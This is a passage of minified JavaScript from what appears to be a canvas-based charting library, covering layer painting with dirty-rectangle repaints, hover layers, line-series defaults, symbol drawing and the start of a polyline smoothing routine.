nw(t)&&iw(t,t.label,t),t}function iw(t,e,n){var r=e.getComputedTransform();t.transform=kh(t.transform,r);var i=t.localRect=Th(t.localRect,e.getBoundingRect()),o=e.style,a=o.margin,s=n&&n.marginForce,l=n&&n.minMarginForce,u=n&&n.marginDefault,c=o.__marginType;null==c&&u&&(a=u,c=Wh.textMargin);for(var h=0;h<4;h++)ow[h]=c===Wh.minMargin&&l&&null!=l[h]?l[h]:s&&null!=s[h]?s[h]:a?a[h]:0;c===Wh.textMargin&&yh(i,ow,!1,!1);var f=t.rect=Th(t.rect,i);return r&&f.applyTransform(r),c===Wh.minMargin&&yh(f,ow,!1,!1),t.axisAligned=Sh(r),(t.label=t.label||{}).ignore=e.ignore,ew(t,!1),ew(t,!0,2),t}var ow=[0,0,0,0];function aw(t,e){for(var n=0;n<tw.length;n++){var r=tw[n];null==t[r]&&(t[r]=e[r])}return rw(t)}function sw(t){var e=t.obb;return e&&!nw(t,2)||(t.obb=e=e||new qc,e.fromBoundingRect(t.localRect,t.transform),ew(t,!1,2)),e}function lw(t,e,n,r){return!(!t||!e)&&(!(t.label&&t.label.ignore||e.label&&e.label.ignore)&&(!!t.rect.intersect(e.rect,n,r)&&(!(!t.axisAligned||!e.axisAligned)||sw(t).intersect(sw(e),n,r))))}function uw(t,e,n){var r=u.createCanvas(),i=e.getWidth(),o=e.getHeight(),a=r.style;return a&&(a.position="absolute",a.left="0",a.top="0",a.width=i+"px",a.height=o+"px",r.setAttribute("data-zr-dom-id",t)),r.width=i*n,r.height=o*n,r}function cw(t){return!t.__cursors.get(0)}function hw(t){var e=t.__cursors.get(0);return{startIdx:e?e.startIdx:0,endIdx:e?e.endIdx:0}}var fw=function(t){function e(e,n,r){var i,o=t.call(this)||this;o.motionBlur=!1,o.lastFrameAlpha=.7,o.dpr=1,o.virtual=!1,o.config={},o.zlevel=0,o.zlevel2=0,o.maxRepaintRectCount=5,o.__dirty=!0,o.__firstTimePaint=!0,o.__prevIdx={startIdx:0,endIdx:0},r=r||Kr,"string"==typeof e?i=uw(e,n,r):j(e)&&(e=(i=e).id),o.id=e,o.dom=i;var a=i.style;return a&&(_t(i),i.onselectstart=function(){return!1},a.padding="0",a.margin="0",a.borderWidth="0"),o.painter=n,o.dpr=r,o}return n(e,t),e.prototype.afterBrush=function(){this.__prevIdx=hw(this)},e.prototype.initContext=function(){this.ctx=this.dom.getContext("2d"),this.ctx.dpr=this.dpr},e.prototype.setUnpainted=function(){this.__firstTimePaint=!0},e.prototype.createBackBuffer=function(){var t=this.dpr;this.domBack=uw("back-"+this.id,this.painter,t),this.ctxBack=this.domBack.getContext("2d"),1!==t&&this.ctxBack.scale(t,t)},e.prototype.createRepaintRects=function(t,e,n,r){if(this.__firstTimePaint)return this.__firstTimePaint=!1,null;var i=[],o=this.maxRepaintRectCount,a=!1,s=new Be(0,0,0,0);function l(t){if(t.isFinite()&&!t.isZero())if(0===i.length){(e=new Be(0,0,0,0)).copy(t),i.push(e)}else{for(var e,n=!1,r=1/0,l=0,u=0;u<i.length;++u){var c=i[u];if(c.intersect(t)){var h=new Be(0,0,0,0);h.copy(c),h.union(t),i[u]=h,n=!0;break}if(a){s.copy(t),s.union(c);var f=t.width*t.height,p=c.width*c.height,d=s.width*s.height-f-p;d<r&&(r=d,l=u)}}if(a&&(i[l].union(t),n=!0),!n)(e=new Be(0,0,0,0)).copy(t),i.push(e);a||(a=i.length>=o)}}for(var u=hw(this),c=u.startIdx;c<u.endIdx;++c){if(g=t[c]){var h=g.shouldBePainted(n,r,!0,!0);(v=g.__isRendered&&(1&g.__dirty||!h)?g.getPrevPaintRect():null)&&l(v);var f=h&&(1&g.__dirty||!g.__isRendered)?g.getPaintRect():null;f&&l(f)}}var p,d=this.__prevIdx;for(c=d.startIdx;c<d.endIdx;++c){var g,v;h=(g=e[c])&&g.shouldBePainted(n,r,!0,!0);if(g&&(!h||!g.__zr)&&g.__isRendered)(v=g.getPrevPaintRect())&&l(v)}do{p=!1;for(c=0;c<i.length;)if(i[c].isZero())i.splice(c,1);else{for(var y=c+1;y<i.length;)i[c].intersect(i[y])?(p=!0,i[c].union(i[y]),i.splice(y,1)):y++;c++}}while(p);return this._paintRects=i,i},e.prototype.debugGetPaintRects=function(){return(this._paintRects||[]).slice()},e.prototype.resize=function(t,e){var n=this.dpr,r=this.dom,i=r.style,o=this.domBack;i&&(i.width=t+"px",i.height=e+"px"),r.width=t*n,r.height=e*n,o&&(o.width=t*n,o.height=e*n,1!==n&&this.ctxBack.scale(n,n))},e.prototype.clear=function(t,e,n){var r=this.dom,i=this.ctx,o=r.width,a=r.height;e=e||this.clearColor;var s=this.motionBlur&&!t,l=this.lastFrameAlpha,u=this.dpr,c=this;s&&(this.domBack||this.createBackBuffer(),this.ctxBack.globalCompositeOperation="copy",this.ctxBack.drawImage(r,0,0,o/u,a/u));var h=this.domBack;function f(t,n,r,o){if(i.clearRect(t,n,r,o),e&&"transparent"!==e){var a=void 0;if(J(e))a=(e.global||e.__width===r&&e.__height===o)&&e.__canvasGradient||Zv(i,e,{x:0,y:0,width:r,height:o}),e.__canvasGradient=a,e.__width=r,e.__height=o;else tt(e)&&(e.scaleX=e.scaleX||u,e.scaleY=e.scaleY||u,a=iy(i,e,{dirty:function(){c.setUnpainted(),c.painter.refresh()}}));i.save(),i.fillStyle=a||e,i.fillRect(t,n,r,o),i.restore()}s&&(i.save(),i.globalAlpha=l,i.drawImage(h,t,n,r,o),i.restore())}!n||s?f(0,0,o,a):n.length&&E(n,function(t){f(t.x*u,t.y*u,t.width*u,t.height*u)})},e}(qt),pw=1e5,dw=314159,gw=void 0;function vw(t,e,n,r){var i=new fw(t,e,e.dpr);return i.zlevel=n,i.zlevel2=r,i.__builtin__=!0,yw(i),i}function yw(t){t.__cursorStack=[],t.__cursors=vt()}function mw(t,e){var n,r=t.__cursors,i=+e;return r.get(i)||(t.__cursorStack.push(i),r.set(i,((n={key:i}).startIdx=n.drawIdx=n.endIdx=n.endIdxNew=0,n.used=!1,n.first=n.last=NaN,n.notClearIdx=-1,n)))}function _w(t,e){for(var n=t.__cursorStack,r=0;r<n.length;r++)e(t.__cursors.get(n[r]))}function xw(t,e){var n=t.layers;return n[e]||(n[e]=new Array(3))}function bw(t,e,n){for(var r=t.layerStack,i=0;i<r.length;i++){var o=r[i].zl,a=r[i].zl2,s=t.layers[o][a];n&&(n&ww&&!s.__builtin__||n&Sw&&s.__builtin__||n&Mw&&s===t.hoverlayer)||e(s,o,a,i)}}var ww=1,Sw=2,Mw=4,Tw=ww|Mw,kw=function(){function t(t,e,n,r){this.type="canvas",this._prevDisplayList=[],this._layerConfig={},this._needsManuallyCompositing=!1,this.type="canvas",this._i={layerStack:[],layers:[]};var i=!t.nodeName||"CANVAS"===t.nodeName.toUpperCase();if(this._opts=n=I({},n||{}),this.dpr=n.devicePixelRatio||Kr,this._singleCanvas=i,this.root=t,t.style&&(_t(t),t.innerHTML=""),this.storage=e,this._prevDisplayList=[],i){var o=t,a=o.width,s=o.height;null!=n.width&&(a=n.width),null!=n.height&&(s=n.height),this.dpr=n.devicePixelRatio||1,o.width=a*this.dpr,o.height=s*this.dpr,this._width=a,this._height=s;var l=vw(o,this,dw,0);l.initContext(),this._insertLayer(l,dw,0,!0),this._domRoot=t}else{this._width=Kv(t,0,n),this._height=Kv(t,1,n);var u=this._domRoot=function(t,e){var n=document.createElement("div");return n.style.cssText=["position:relative","width:"+t+"px","height:"+e+"px","padding:0","margin:0","border-width:0"].join(";")+";",n}(this._width,this._height);t.appendChild(u)}}return t.prototype.getType=function(){return"canvas"},t.prototype.isSingleCanvas=function(){return this._singleCanvas},t.prototype.getViewportRoot=function(){return this._domRoot},t.prototype.getViewportRootOffset=function(){var t=this.getViewportRoot();if(t)return{offsetLeft:t.offsetLeft||0,offsetTop:t.offsetTop||0}},t.prototype.refresh=function(t){var e,n=it((e=t&&!j(t)?{paintAll:!!t}:t||{}).refresh,!0),r=it(e.refreshHover,!1);if(r&&(this._hoverLayerDirty=2),!n)return r&&this._paintHoverList(this.storage.getDisplayList(!1)),this;var i=this.storage.getDisplayList(!0);this._updateLayerStatus(i,e.paintAll),this._redrawId=Math.random();var o=this._prevDisplayList;this._paintList(i,o,this._redrawId);var a=this._backgroundColor;return bw(this._i,function(t,e,n,r){t.refresh&&t.refresh(0===r?a:null)},Sw),this._opts.useDirtyRect&&(this._prevDisplayList=i.slice()),this},t.prototype._paintHoverList=function(t){var e=this._i.hoverlayer,n=this._hoverLayerDirty;if(this._hoverLayerDirty=gw,n!==gw&&(e||2!==n||(e=this._i.hoverlayer=this._ensureLayer(pw)),e)){e.clear();for(var r,i={inHover:!0,viewWidth:this._width,viewHeight:this._height,beforeBrushParam:{}},o=0,a=t.length;o<a;o++){var s=t[o];if(s.__inHover){r||(r=e.ctx).save();var l=s.__hoverStyle,u=void 0;l&&(u=s.style,s.style=l),fy(r,s,i),l&&(s.style=u)}}r&&(py(r,i),r.restore())}},t.prototype.getHoverLayer=function(){return this._ensureLayer(pw)},t.prototype.paintOne=function(t,e){hy(t,e)},t.prototype._paintList=function(t,e,n){if(this._redrawId===n){var r=this._doPaintList(t,e);if(this._needsManuallyCompositing&&this._compositeManually(),r)bw(this._i,function(t){t.afterBrush&&t.afterBrush()},Tw),this._paintHoverList(t);else{var i=this;pn(function(){i._paintList(t,e,n)})}}},t.prototype._compositeManually=function(){var t=this._ensureLayer(dw).ctx,e=this._domRoot.width,n=this._domRoot.height;t.clearRect(0,0,e,n),bw(this._i,function(r){r.virtual&&t.drawImage(r.dom,0,0,e,n)},ww)},t.prototype._doPaintList=function(t,e){var n=this,r=!0;return bw(this._i,function(i){var o=!1;if(_w(i,function(t){(t.drawIdx<t.endIdx||t.notClearIdx>=0)&&(o=!0)}),o||i.__dirty){var a=n._opts.useDirtyRect&&!cw(i)?i.createRepaintRects(t,e,n._width,n._height):null,s=n._i.layerStack[0],l=!0;if(i.__dirty){l=!1,i.__dirty=!1;var u=i.zlevel===s.zl&&i.zlevel2===s.zl2?n._backgroundColor:null;i.clear(!1,u,a)}_w(i,function(e){var o=n._paintPerCursor(i,e,t,a,l);r=r&&o})}},Tw),i.wxa&&bw(this._i,function(t){t&&t.ctx&&t.ctx.draw&&t.ctx.draw()}),r},t.prototype._paintPerCursor=function(t,e,n,r,i){var o=t.ctx;if(r)if(r.length)for(var a=this.dpr,s=0;s<r.length;++s){var l=r[s];o.save(),o.beginPath(),o.rect(l.x*a,l.y*a,l.width*a,l.height*a),o.clip(),this._paintPerCursorInRect(t,e,n,l,i),o.restore()}else e.drawIdx=e.endIdx;else o.save(),this._paintPerCursorInRect(t,e,n,null,i),o.restore();return e.drawIdx>=e.endIdx},t.prototype._paintPerCursorInRect=function(t,e,n,r,i){for(var o={inHover:!1,allClipped:!1,prevEl:null,viewWidth:this._width,viewHeight:this._height,beforeBrushParam:{contentRetained:i}},a=t.ctx,s=cw(t),l=s&&u.getTime(),c=e.drawIdx,h=e.notClearIdx,f=h>=0?Math.min(h,c):c;f<e.endIdx;f++){var p=n[f];if(!(f<c)||p.notClear){if(p.__inHover&&(this._hoverLayerDirty=2),null!=r){var d=p.getPaintRect();d&&d.intersect(r)&&(fy(a,p,o),p.setPrevPaintRect(d))}else fy(a,p,o);if(s)if(u.getTime()-l>15){f++;break}}}py(a,o),e.drawIdx=Math.max(f,c)},t.prototype.getLayer=function(t,e){return this._ensureLayer(t,0,e)},t.prototype._ensureLayer=function(t,e,n){e=e||0;var r=this._singleCanvas;r&&!this._needsManuallyCompositing&&(t=dw,e=0);var i=xw(this._i,t)[e];return i||(i=vw("zr_"+t+"."+e,this,t,e),this._layerConfig[t]&&C(i,this._layerConfig[t],!0),(n||r&&t!==dw)&&(i.virtual=!0),this._insertLayer(i,t,e,!1),i.initContext()),i},t.prototype.insertLayer=function(t,e){this._insertLayer(e,t,0,!1)},t.prototype._insertLayer=function(t,e,n,r){var i=this._i,o=i.layers,a=i.layerStack,s=this._domRoot,l=null;if((!o[e]||!o[e][n])&&function(t){return!!t&&(!!t.__builtin__||"function"==typeof t.resize&&"function"==typeof t.refresh)}(t)){for(var u=a.length,c=0;c<u&&(a[c].zl<e||a[c].zl===e&&a[c].zl2<n);)c++;if(c>0&&(l=xw(i,a[c-1].zl)[a[c-1].zl2]),a.splice(c,0,{zl:e,zl2:n}),xw(i,e)[n]=t,!r&&!t.virtual)if(l){var h=l.dom;h.nextSibling?s.insertBefore(t.dom,h.nextSibling):s.appendChild(t.dom)}else s.firstChild?s.insertBefore(t.dom,s.firstChild):s.appendChild(t.dom);t.painter||(t.painter=this)}},t.prototype.eachLayer=function(t,e){return bw(this._i,function(n,r){t.call(e,n,r)})},t.prototype.eachBuiltinLayer=function(t,e){return bw(this._i,function(n,r){t.call(e,n,r)},ww)},t.prototype.eachOtherLayer=function(t,e){return bw(this._i,function(n,r){t.call(e,n,r)},Sw)},t.prototype.getLayers=function(){var t={};return bw(this._i,function(e,n,r){t[e.id]=e}),t},t.prototype._updateLayerStatus=function(t,e){var n,r=this;if(r._singleCanvas)for(var i=1;i<t.length;i++){if((c=t[i]).zlevel!==t[i-1].zlevel||c.incremental){r._needsManuallyCompositing=!0;break}}bw(r._i,function(t){t.__dirty=!1,_w(t,function(t){t.used=!1,t.endIdxNew=0,t.notClearIdx=-1})},Tw);for(var o=null,a=null,s=!1,l=0,u=t.length;l<u;l++){var c,h=(c=t[l]).zlevel,f=c.incremental,p=void 0;if(n!==h&&(n=h,s=!1),f?(s=!0,p=1):p=s?2:0,o&&h===o.zlevel&&p===o.zlevel2||(a=null,(o=r._ensureLayer(h,p)).__builtin__)){if(!(a&&f===a.key||(a=mw(o,f)).used))if(a.used=!0,e||a.first!==c.id)o.__dirty=!0,a.first=c.id,a.startIdx=a.drawIdx=l,a.endIdx=l+1;else{var d=l-a.startIdx;a.startIdx=l,a.drawIdx+=d,a.endIdx+=d}a.endIdxNew=l+1,1&c.__dirty&&!c.__inHover&&((!f||!c.notClear&&l<a.drawIdx)&&(o.__dirty=!0),f&&c.notClear&&a.notClearIdx<0&&(a.notClearIdx=l))}else T("ZLevel "+h+" has been used by unknown layer "+o.id)}bw(r._i,function(e){for(var n=e.__cursorStack,i=e.__cursors,o=n.length-1;o>=0;o--){var a=i.get(n[o]);if(a.used){var s=a.endIdxNew;(cw(e)?s<a.drawIdx:s!==a.endIdx||!s||t[s-1].id!==a.last)&&(e.__dirty=!0),a.endIdx=a.endIdxNew,a.last=s?t[s-1].id:NaN}else e.__dirty=!0,i.removeKey(n[o]),n.splice(o,1)}e.__dirty&&(_w(e,function(t){t.drawIdx=t.startIdx}),r._hoverLayerDirty===gw&&(r._hoverLayerDirty=1))},Tw)},t.prototype.clear=function(){return bw(this._i,function(t){t.clear(),yw(t)},ww),this},t.prototype.setBackgroundColor=function(t){this._backgroundColor=t,bw(this._i,function(t){t.setUnpainted()})},t.prototype.configLayer=function(t,e){if(e){var n=this._layerConfig;n[t]?C(n[t],e,!0):n[t]=e,bw(this._i,function(t,e){C(t,n[e],!0)})}},t.prototype.delLayer=function(t){for(var e=this._i.layerStack,n=this._i.layers,r=e.length-1;r>=0;r--){var i=e[r];if(i.zl===t){var o=n[t][i.zl2];if(o.__builtin__)continue;if(e.splice(r,1),n[t][i.zl2]=void 0,!o.virtual){var a=o.dom.parentNode;a&&a.removeChild(o.dom)}}}},t.prototype.resize=function(t,e){if(this._domRoot.style){var n=this._domRoot;n.style.display="none";var r=this._opts,i=this.root;null!=t&&(r.width=t),null!=e&&(r.height=e),t=Kv(i,0,r),e=Kv(i,1,r),n.style.display="",this._width===t&&e===this._height||(n.style.width=t+"px",n.style.height=e+"px",bw(this._i,function(n){n.resize(t,e)}),this.refresh({paintAll:!0})),this._width=t,this._height=e}else{if(null==t||null==e)return;this._width=t,this._height=e,this._ensureLayer(dw).resize(t,e)}return this},t.prototype.clearLayer=function(t){E(this._i.layers[t],function(t){t&&!t.__builtin__&&t.clear()})},t.prototype.dispose=function(){this.root.innerHTML="",this.root=this.storage=this._domRoot=this._i=null},t.prototype.getRenderedCanvas=function(t){if(t=t||{},this._singleCanvas&&!this._compositeManually)return this._i.layers[314159][0].dom;var e=new fw("image",this,t.pixelRatio||this.dpr);e.initContext(),e.clear(!1,t.backgroundColor||this._backgroundColor);var n=e.ctx;if(t.pixelRatio<=this.dpr){this.refresh();var r=e.dom.width,i=e.dom.height;bw(this._i,function(t){t.__builtin__?n.drawImage(t.dom,0,0,r,i):t.renderToCanvas&&(n.save(),t.renderToCanvas(n),n.restore())})}else{for(var o={inHover:!1,viewWidth:this._width,viewHeight:this._height,beforeBrushParam:{}},a=this.storage.getDisplayList(!0),s=0,l=a.length;s<l;s++){var u=a[s];fy(n,u,o)}py(n,o)}return e.dom},t.prototype.getWidth=function(){return this._width},t.prototype.getHeight=function(){return this._height},t}();var Cw=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n.hasSymbolVisual=!0,n}return n(e,t),e.prototype.getInitialData=function(t){return x_(null,this,{useEncodeDefaulter:!0})},e.prototype.getLegendIcon=function(t){var e=new Bi,n=Xv("line",0,t.itemHeight/2,t.itemWidth,0,t.lineStyle.stroke,!1);e.add(n),n.setStyle(t.lineStyle);var r=this.getData().getVisual("symbol"),i=this.getData().getVisual("symbolRotate"),o="none"===r?"circle":r,a=.8*t.itemHeight,s=Xv(o,(t.itemWidth-a)/2,(t.itemHeight-a)/2,a,a,t.itemStyle.fill);e.add(s),s.setStyle(t.itemStyle);var l="inherit"===t.iconRotate?i:t.iconRotate||0;return s.rotation=l*Math.PI/180,s.setOrigin([t.itemWidth/2,t.itemHeight/2]),o.indexOf("empty")>-1&&(s.style.stroke=s.style.fill,s.style.fill=yp.color.neutral00,s.style.lineWidth=2),e},e.type="series.line",e.dependencies=["grid","polar"],e.defaultOption={z:3,coordinateSystem:"cartesian2d",legendHoverLink:!0,clip:!0,label:{position:"top"},endLabel:{show:!1,valueAnimation:!0,distance:8},lineStyle:{width:2,type:"solid"},emphasis:{scale:!0},step:!1,smooth:!1,smoothMonotone:null,symbol:"emptyCircle",symbolSize:6,symbolRotate:null,showSymbol:!0,showAllSymbol:"auto",connectNulls:!1,sampling:"none",animationEasing:"linear",progressive:0,hoverLayerThreshold:1/0,universalTransition:{divideShape:"clone"},triggerLineEvent:!1,triggerEvent:!1},e}(kg);function Iw(t,e){var n=t.mapDimensionsAll("defaultedLabel"),r=n.length;if(1===r){var i=Xd(t,e,n[0]);return null!=i?i+"":null}if(r){for(var o=[],a=0;a<n.length;a++)o.push(Xd(t,e,n[a]));return o.join(" ")}}function Dw(t,e){var n=t.mapDimensionsAll("defaultedLabel");if(!U(e))return e+"";for(var r=[],i=0;i<n.length;i++){var o=t.getDimensionIndex(n[i]);o>=0&&r.push(e[o])}return r.join(" ")}var Aw=function(t){function e(e,n,r,i){var o=t.call(this)||this;return o.updateData(e,n,r,i),o}return n(e,t),e.prototype._createSymbol=function(t,e,n,r,i,o){this.removeAll();var a=Xv(t,-1,-1,2,2,null,o);a.attr({z2:it(i,100),culling:!0,scaleX:r[0]/2,scaleY:r[1]/2}),a.drift=Lw,this._symbolType=t,this.add(a)},e.prototype.stopSymbolAnimation=function(t){this.childAt(0).stopAnimation(null,t)},e.prototype.getSymbolType=function(){return this._symbolType},e.prototype.getSymbolPath=function(){return this.childAt(0)},e.prototype.highlight=function(){vu(this.childAt(0))},e.prototype.downplay=function(){yu(this.childAt(0))},e.prototype.setZ=function(t,e){var n=this.childAt(0);n.zlevel=t,n.z=e},e.prototype.setDraggable=function(t,e){var n=this.childAt(0);n.draggable=t,n.cursor=!e&&t?"move":n.cursor},e.prototype.updateData=function(t,n,r,i){this.silent=!1;var o=t.getItemVisual(n,"symbol")||"circle",a=t.hostModel,s=e.getSymbolSize(t,n),l=e.getSymbolZ2(t,n),u=o!==this._symbolType,c=i&&i.disableAnimation;if(u){var h=t.getItemVisual(n,"symbolKeepAspect");this._createSymbol(o,t,n,s,l,h)}else{(p=this.childAt(0)).silent=!1;var f={scaleX:s[0]/2,scaleY:s[1]/2};c?p.attr(f):Qc(p,f,a,n),ih(p)}if(this._updateCommon(t,n,s,r,i),u){var p=this.childAt(0);if(!c){f={scaleX:this._sizeX,scaleY:this._sizeY,style:{opacity:p.style.opacity}};p.scaleX=p.scaleY=0,p.style.opacity=0,Jc(p,f,a,n)}}c&&this.childAt(0).stopAnimation("leave")},e.prototype._updateCommon=function(t,e,n,r,i){var o,a,s,l,u,c,h,f,p,d=this.childAt(0),g=t.hostModel;if(r&&(o=r.emphasisItemStyle,a=r.blurItemStyle,s=r.selectItemStyle,l=r.focus,u=r.blurScope,h=r.labelStatesModels,f=r.hoverScale,p=r.cursorStyle,c=r.emphasisDisabled),!r||t.hasItemOption){var v=r&&r.itemModel?r.itemModel:t.getItemModel(e),y=v.getModel("emphasis");o=y.getModel("itemStyle").getItemStyle(),s=v.getModel(["select","itemStyle"]).getItemStyle(),a=v.getModel(["blur","itemStyle"]).getItemStyle(),l=y.get("focus"),u=y.get("blurScope"),c=y.get("disabled"),h=Ph(v),f=y.getShallow("scale"),p=v.getShallow("cursor")}var m=t.getItemVisual(e,"symbolRotate");d.attr("rotation",(m||0)*Math.PI/180||0);var _=Yv(t.getItemVisual(e,"symbolOffset"),n);_&&(d.x=_[0],d.y=_[1]),p&&d.attr("cursor",p);var x=t.getItemVisual(e,"style"),b=x.fill;if(d instanceof sl){var w=d.style;d.useStyle(I({image:w.image,x:w.x,y:w.y,width:w.width,height:w.height},x))}else d.__isEmptyBrush?d.useStyle(I({},x)):d.useStyle(x),d.style.decal=null,d.setColor(b,i&&i.symbolInnerColor),d.style.strokeNoScale=!0;var S=t.getItemVisual(e,"liftZ"),M=this._z2;null!=S?null==M&&(this._z2=d.z2,d.z2+=S):null!=M&&(d.z2=M,this._z2=null);var T=i&&i.useNameLabel;Lh(d,h,{labelFetcher:g,labelDataIndex:e,defaultText:function(e){return T?t.getName(e):Iw(t,e)},inheritColor:b,defaultOpacity:x.opacity}),this._sizeX=n[0]/2,this._sizeY=n[1]/2;var k=d.ensureState("emphasis");k.style=o,d.ensureState("select").style=s,d.ensureState("blur").style=a;var C=null==f||!0===f?Math.max(1.1,3/this._sizeY):isFinite(f)&&f>0?+f:1;k.scaleX=this._sizeX*C,k.scaleY=this._sizeY*C,this.setSymbolScale(1),Du(this,l,u,c)},e.prototype.setSymbolScale=function(t){this.scaleX=this.scaleY=t},e.prototype.fadeOut=function(t,e,n){var r=this.childAt(0),i=Dl(this).dataIndex,o=n&&n.animation;if(this.silent=r.silent=!0,n&&n.fadeLabel){var a=r.getTextContent();a&&eh(a,{style:{opacity:0}},e,{dataIndex:i,removeOpt:o,cb:function(){r.removeTextContent()}})}else r.removeTextContent();eh(r,{style:{opacity:0},scaleX:0,scaleY:0},e,{dataIndex:i,cb:t,removeOpt:o})},e.getSymbolSize=function(t,e){return U(n=t.getItemVisual(e,"symbolSize"))||(n=[+n,+n]),[n[0]||0,n[1]||0];var n},e.getSymbolZ2=function(t,e){return t.getItemVisual(e,"z2")},e}(Bi);function Lw(t,e){this.parent.drift(t,e)}function Pw(t,e,n,r){return e&&!isNaN(e[0])&&!isNaN(e[1])&&!(r&&r.isIgnore&&r.isIgnore(n))&&!(r&&r.clipShape&&!r.clipShape.contain(e[0],e[1]))&&"none"!==t.getItemVisual(n,"symbol")}function Ow(t){return null==t||j(t)||(t={isIgnore:t}),t||{}}function Rw(t){var e=t.hostModel,n=e.getModel("emphasis");return{emphasisItemStyle:n.getModel("itemStyle").getItemStyle(),blurItemStyle:e.getModel(["blur","itemStyle"]).getItemStyle(),selectItemStyle:e.getModel(["select","itemStyle"]).getItemStyle(),focus:n.get("focus"),blurScope:n.get("blurScope"),emphasisDisabled:n.get("disabled"),hoverScale:n.get("scale"),labelStatesModels:Ph(e),cursorStyle:e.get("cursor")}}function Nw(t,e,n,r,i,o,a){var s=new t(e,n,r,i);return s.setPosition(o),e.setItemGraphicEl(n,s),a.add(s),s}var Ew=function(){function t(t){this.group=new Bi,this._SymbolCtor=t||Aw}return t.prototype.updateData=function(t,e){this._progressiveEls=null,e=Ow(e);var n=this.group,r=t.hostModel,i=this._data,o=this._SymbolCtor,a=e.disableAnimation,s=this._seriesScope=Rw(t),l={disableAnimation:a},u=e.getSymbolPoint||function(e){return t.getItemLayout(e)};i||n.removeAll(),t.diff(i).add(function(r){var i=u(r);Pw(t,i,r,e)&&Nw(o,t,r,s,l,i,n)}).update(function(c,h){var f=i.getItemGraphicEl(h),p=u(c);if(Pw(t,p,c,e)){var d=t.getItemVisual(c,"symbol")||"circle",g=f&&f.getSymbolType&&f.getSymbolType();if(!f||g&&g!==d)n.remove(f),(f=new o(t,c,s,l)).setPosition(p);else{f.updateData(t,c,s,l);var v={x:p[0],y:p[1]};a?f.attr(v):Qc(f,v,r)}n.add(f),t.setItemGraphicEl(c,f)}else n.remove(f)}).remove(function(t){var e=i.getItemGraphicEl(t);e&&e.fadeOut(function(){n.remove(e)},r)}).execute(),this._getSymbolPoint=u,this._data=t},t.prototype.updateLayout=function(t){var e=this._data;if(e)for(var n=this,r=0,i=e.getStore().count();r<i;r++){var o=e.getItemGraphicEl(r),a=n._getSymbolPoint(r);Pw(e,a,r,t)?((o=o||Nw(n._SymbolCtor,e,r,n._seriesScope,{disableAnimation:!0},a,n.group)).stopAnimation(),o.setPosition(a),o.markRedraw()):o&&(n.group.remove(o),e.setItemGraphicEl(r,null))}},t.prototype.incrementalPrepareUpdate=function(t){this._seriesScope=Rw(t),this._data=null,this.group.removeAll()},t.prototype.incrementalUpdate=function(t,e,n,r){function i(t){t.isGroup||(t.incremental=n,t.ensureState("emphasis").hoverLayer=2)}this._progressiveEls=[],r=Ow(r);for(var o=t.start;o<t.end;o++){var a=e.getItemLayout(o);if(Pw(e,a,o,r)){var s=new this._SymbolCtor(e,o,this._seriesScope);s.traverse(i),s.setPosition(a),this.group.add(s),e.setItemGraphicEl(o,s),this._progressiveEls.push(s)}}},t.prototype.eachRendered=function(t){wh(this._progressiveEls||this.group,t)},t.prototype.remove=function(t){var e=this.group,n=this._data;n&&t?n.eachItemGraphicEl(function(t){t.fadeOut(function(){e.remove(t)},n.hostModel)}):e.removeAll()},t}();function Bw(t,e,n){var r=t.getBaseAxis(),i=t.getOtherAxis(r),o=function(t,e){var n=0,r=t.scale.getExtent();"start"===e?n=r[0]:"end"===e?n=r[1]:Z(e)&&!isNaN(e)?n=e:r[0]>0?n=r[0]:r[1]<0&&(n=r[1]);return n}(i,n),a=r.dim,s=i.dim,l=e.mapDimension(s),u=e.mapDimension(a),c="x"===s||"radius"===s?1:0,h=B(t.dimensions,function(t){return e.mapDimension(t)}),f=!1,p=e.getCalculationInfo("stackResultDimension");return m_(e,h[0])&&(f=!0,h[0]=p),m_(e,h[1])&&(f=!0,h[1]=p),{dataDimsForPoint:h,valueStart:o,valueAxisDim:s,baseAxisDim:a,stacked:!!f,valueDim:l,baseDim:u,baseDataOffset:c,stackedOverDimension:e.getCalculationInfo("stackedOverDimension")}}function zw(t,e,n,r){var i=NaN;t.stacked&&(i=n.get(n.getCalculationInfo("stackedOverDimension"),r)),isNaN(i)&&(i=t.valueStart);var o=t.baseDataOffset,a=[];return a[o]=n.get(t.baseDim,r),a[1-o]=i,e.dataToPoint(a)}function Fw(t,e){return!isFinite(t)||!isFinite(e)}var Vw=typeof Float32Array!==Al?Float32Array:void 0,Hw=typeof Float64Array!==Al?Float64Array:void 0;function Ww(t){return Gw({ctor:Vw},t).arr}function Gw(t,e){var n=t.arr,r=t.ctor;if(e>po&&(e=po),!n||t.typed&&n.length<e){var i=void 0;if(r)try{i=new r(e),t.typed=!0,n&&i.set(n)}catch(t){0}if(!i&&(i=[],t.typed=!1,n))for(var o=0,a=n.length;o<a;o++)i[o]=n[o];t.arr=i}return t}var Uw=Math.min,Xw=Math.max;function Yw(t,e,n,r,i,o,a,s,l){for(var u,c,h,f,p,d,g=n,v=0;v<r;v++){var y=e[2*g],m=e[2*g+1];if(g>=i||g<0)break;if(Fw(y,m)){if(l){g+=o;continue}break}if(g===n)t[o>0?"moveTo":"lineTo"](y,m),h=y,f=m;else{var _=y-u,x=m-c;if(_*_+x*x<.5){g+=o;continue}if(a>0){for(var b=g+o,w=e[2*b],S=e[2*b+1];w===y&&S===m&&v<r;)v++,g+=o,w=e[2*(b+=o)],S=e[2*b+1],_=(y=e[2*g])-u,x=(m=e[2*g+1])-c;var M=v+1;if(l)for(;Fw(w,S)&&M<r;)M++,w=e[2*(b+=o)],S=e[2*b+1];var T=.5,k=0,C=0,I=void 0,D=void 0;if(M>=r||Fw(w,S))p=y,d=m;else{k=w-u,C=S-c;var A=y-u,L=w-y,P=m-c,O=S-m,R=void 0,N=void 0;if("x"===s){var E=k>0?1:-1;p=y-E*(R=Math.abs(A))*a,d=m,I=y+E*(N=Math.abs(L))*a,D=m}else if("y"===s){var B=C>0?1:-1;p=y,d=m-B*(R=Math.abs(P))*a,I=y,D=m+B*(N=Math.abs(O))*a}else 